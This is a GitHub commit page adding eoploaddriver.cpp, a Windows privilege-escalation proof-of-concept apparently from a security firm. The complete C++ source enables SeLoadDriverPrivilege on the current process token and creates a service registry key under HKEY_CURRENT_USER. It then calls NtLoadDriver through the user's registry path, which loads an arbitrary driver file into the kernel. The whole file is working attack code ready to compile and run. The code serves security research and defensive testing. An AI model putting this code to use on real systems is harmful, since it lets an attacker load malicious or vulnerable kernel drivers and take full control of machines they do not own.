Skip to content

Commit

Permalink
Create eoploaddriver.cpp
Browse files Browse the repository at this point in the history
  • Loading branch information
TarlogicSecurity authored Jun 14, 2018
1 parent 65b132c commit 4bffb75
Showing 1 changed file with 307 additions and 0 deletions.
307 changes: 307 additions & 0 deletions eoploaddriver.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,307 @@
// EoPLoadDriver PoC by Oscar Mallo (Tarlogic)

// If you have any suggestion or problem feel free to open an issue :)


#include "stdafx.h"
#include <Windows.h>
#include <Winternl.h>
#include <tchar.h>
#include <stdio.h>
#include <sddl.h>
#include <shellapi.h>
#include <strsafe.h>

#define REGISTRY_USER_PREFIX _T("\\Registry\\User\\")
#define IMAGE_PATH _T("\\??\\")

ULONG
LoadDriver(LPWSTR userSid, LPWSTR RegistryPath)
{
UNICODE_STRING DriverServiceName;
NTSTATUS status;

typedef NTSTATUS(_stdcall *NT_LOAD_DRIVER)(IN PUNICODE_STRING DriverServiceName);
typedef void (WINAPI* RTL_INIT_UNICODE_STRING)(PUNICODE_STRING, PCWSTR);

NT_LOAD_DRIVER NtLoadDriver = (NT_LOAD_DRIVER)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtLoadDriver");
RTL_INIT_UNICODE_STRING RtlInitUnicodeString = (RTL_INIT_UNICODE_STRING)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");

wchar_t registryPath[MAX_PATH];
_snwprintf_s(registryPath, _TRUNCATE, L"%s%s\\%s", REGISTRY_USER_PREFIX, userSid, RegistryPath);

wprintf(L"[+] Loading Driver: %s\n", registryPath);


RtlInitUnicodeString(&DriverServiceName, registryPath);

status = NtLoadDriver(&DriverServiceName);
printf("NTSTATUS: %08x, WinError: %d\n", status, GetLastError());

if (!NT_SUCCESS(status))
//return RtlNtStatusToDosError(status);
return -1;
return 0;

}

//https://msdn.microsoft.com/en-us/library/windows/desktop/aa446619(v=vs.85).aspx
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;

if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
wprintf(L"[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;

// Enable the privilege or disable all privileges.

if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
wprintf(L"[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}

if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

{
wprintf(L"[-] The token does not have the specified privilege. \n");
return FALSE;
}

return TRUE;
}

ULONG
CreateRegistryKey(
const LPWSTR RegistryPath,
const LPWSTR DriverPath
)
{
ULONG dwErrorCode;
HKEY hKey;
DWORD dwDisposition;
DWORD dwServiceType = 1;
DWORD dwServiceErrorControl = 1;
DWORD dwServiceStart = 3;
SIZE_T ServiceImagePathSize;
wchar_t registryPath[MAX_PATH], serviceImagePath[MAX_PATH];

_snwprintf_s(registryPath, _TRUNCATE, L"%s", RegistryPath);
_snwprintf_s(serviceImagePath, _TRUNCATE, L"%s%s", IMAGE_PATH, DriverPath);

dwErrorCode = RegCreateKeyExW(HKEY_CURRENT_USER,
registryPath,
0,
NULL,
0,
KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition);

if (dwDisposition != REG_CREATED_NEW_KEY) {
RegCloseKey(hKey);
wprintf(L"RegCreateKeyEx failed: 0x%x\n", dwErrorCode);
return dwErrorCode;
}

ServiceImagePathSize = (lstrlenW(serviceImagePath) + 1) * sizeof(WCHAR);

dwErrorCode = RegSetValueExW(hKey,
L"ImagePath",
0,
REG_EXPAND_SZ,
(const BYTE *)serviceImagePath,
ServiceImagePathSize);

if (dwErrorCode) {
RegCloseKey(hKey);
return dwErrorCode;
}

dwErrorCode = RegSetValueExW(hKey,
L"Type",
0,
REG_DWORD,
(const BYTE *)&dwServiceType,
sizeof(DWORD));

if (dwErrorCode) {
RegCloseKey(hKey);
return dwErrorCode;
}

dwErrorCode = RegSetValueExW(hKey,
L"ErrorControl",
0,
REG_DWORD,
(const BYTE *)&dwServiceErrorControl,
sizeof(DWORD));
if (dwErrorCode) {
RegCloseKey(hKey);
return dwErrorCode;
}

dwErrorCode = RegSetValueExW(hKey,
L"Start",
0,
REG_DWORD,
(const BYTE *)&dwServiceStart,
sizeof(DWORD));

RegCloseKey(hKey);
return 0;
}


LPWSTR getUserSid(HANDLE hToken)
{

// Get the size of the memory buffer needed for the SID
//https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx

DWORD dwBufferSize = 0;
if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwBufferSize) &&
(GetLastError() != ERROR_INSUFFICIENT_BUFFER))
{
wprintf(L"GetTokenInformation failed, error: %d\n",
GetLastError());
return NULL;
}

//https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral
PTOKEN_USER pUserToken = (PTOKEN_USER)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwBufferSize);

if (pUserToken == NULL) {
HeapFree(GetProcessHeap(), 0, (LPVOID)pUserToken);
return NULL;
}

// Retrive token info
if (!GetTokenInformation(
hToken,
TokenUser,
pUserToken,
dwBufferSize,
&dwBufferSize))
{
GetLastError();
return NULL;
}

// Check if SID is valid
if (!IsValidSid(pUserToken->User.Sid))
{
wprintf(L"The owner SID is invalid.\n");
return NULL;
}

LPWSTR sidString;
ConvertSidToStringSidW(pUserToken->User.Sid, &sidString);
return sidString;
}

void printUsage()
{
wprintf(L"Tarlogic Security\n");
wprintf(L"Usage: EOPLOADDRIVER.exe RegistryServicePath DriverImagePath\n eg: EOPLOADDRIVER.exe System\\CurrentControlSet\\MyService C:\\Users\\Username\\Desktop\\Driver.sys\n");
}

int main()
{
LPWSTR *szArglist;
int nArgs;
LPWSTR RegistryPath, DriverImagePath;
ULONG dwErrorCode;
int ret = 0;

szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
if (NULL == szArglist)
{
printUsage();
return 0;
}

if (nArgs != 3) {
printUsage();
LocalFree(szArglist);
return 0;
}

RegistryPath = szArglist[1];
DriverImagePath = szArglist[2];

// Get Current Process Token
HANDLE hToken;

if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
wprintf(L"[+] OpenProcessToken Failed\n");
goto cleanup;
}

LPWSTR userSidStr;

userSidStr = getUserSid(hToken);
if (userSidStr == NULL)
{
wprintf(L"[+] Error while getting user SID\n");
goto cleanup;
}

dwErrorCode = CreateRegistryKey((LPWSTR)RegistryPath, DriverImagePath);
if (dwErrorCode != 0) {
wprintf(L"[-] Error while creating registry keys: error value %d\n", dwErrorCode);
goto cleanup;
}

// Enable Privileges
wprintf(L"[+] Enabling SeLoadDriverPrivilege\n");

if (SetPrivilege(hToken, SE_LOAD_DRIVER_NAME, true))
wprintf(L"[+] SeLoadDriverPrivilege Enabled\n");
else
{
wprintf(L"[-] SeLoadDriverPrivilege Failed\n");
goto cleanup;
}

ret = LoadDriver(userSidStr, RegistryPath);

cleanup:
CloseHandle(hToken);
hToken = NULL;
LocalFree(szArglist);

return(ret);

}

0 comments on commit 4bffb75

Please sign in to comment.